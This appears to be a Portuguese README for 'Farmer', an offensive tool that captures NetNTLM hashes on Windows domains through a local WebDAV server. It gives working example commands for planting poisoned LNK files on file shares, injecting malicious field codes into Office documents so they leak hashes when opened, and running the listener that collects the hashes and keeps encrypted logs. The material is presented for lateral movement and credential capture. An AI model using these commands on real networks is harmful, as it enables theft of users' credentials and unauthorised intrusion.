
Colhe hashes NetNTLM em domínios Windows por meio de um servidor WebDAV local, com envenenamento de arquivos LNK e injeção de código de campo em documentos do Office para movimento lateral e captura de credenciais.
Autor: @domchell
Eu queria ser um agricultor, então comecei a colher hashes
Farmer é um projeto para coletar hashes NetNTLM em um domínio Windows. Farmer consegue isso criando um servidor WebDAV local que faz com que o Mini Redirecionador WebDAV autentique a partir de qualquer cliente que se conecte.
Para que Farmer tenha sucesso, os clientes DEVEM conseguir se conectar ao servidor WebDAV local. Possíveis coisas que podem impedir isso incluem segmentação de rede e/ou o firewall do Windows. Certifique-se de verificar esses itens primeiro (dica Seatbelt WindowsFirewall).
Farmer inclui um submódulo para a ferramenta Crop, esta ferramenta pode ser usada para criar arquivos LNK que iniciam uma conexão WebDAV ao navegar para uma pasta onde o LNK está armazenado, pois tentará renderizar o ícone armazenado.
O conceito do ataque é: você deve usar Crop para envenenar os compartilhamentos de arquivos desejados com o arquivo LNK apontando para o servidor WebDAV do Farmer.
Por exemplo:
crop.exe \\fileserver\Common crop.lnk \\workstation@8888\harvest \\workstation@8888\harvest
Quando qualquer usuário navegar para \fileserver\Common, o explorer tentará recuperar o ícone do servidor WebDAV do Farmer e, ao fazê-lo, enviará o hash NetNTLM do usuário.
Farmer inclui outro submódulo para a ferramenta Fertiliser, esta ferramenta pode ser usada para envenenar documentos do Office (atualmente apenas docx) com um código de campo malicioso. Isso faz com que o código de campo seja analisado quando o documento é aberto e vazará o hash para o servidor WebDAV de sua escolha :)
Por exemplo:
Fertiliser.exe \\fileserver\important.docx http://workstation:8888/foo "Update required"
Farmer escutará em uma porta definida pelo usuário, por um número de segundos e gravará a saída no sistema de arquivos se necessário:
Uso:
farmer.exe <port> [seconds] [output]
Se nenhum segundo for especificado, ou for definido como 0, o farmer será executado indefinidamente, por exemplo:
farmer.exe 8888 0 c:\windows\temp\test.tmp
Para executar o farmer por um minuto na porta 8888, faça o seguinte:
farmer.exe 8888 60
Se você deseja gravar o log do Farmer no sistema de arquivos, pode criptografar o arquivo de log com AES usando a chave definida em Config.key e definindo o booleano encrypt como true (padrão false).
O arquivo de log pode ser descriptografado com a ferramenta HarvestCrop, por exemplo:
harvestcrop.exe c:\windows\temp\test.tmp farmer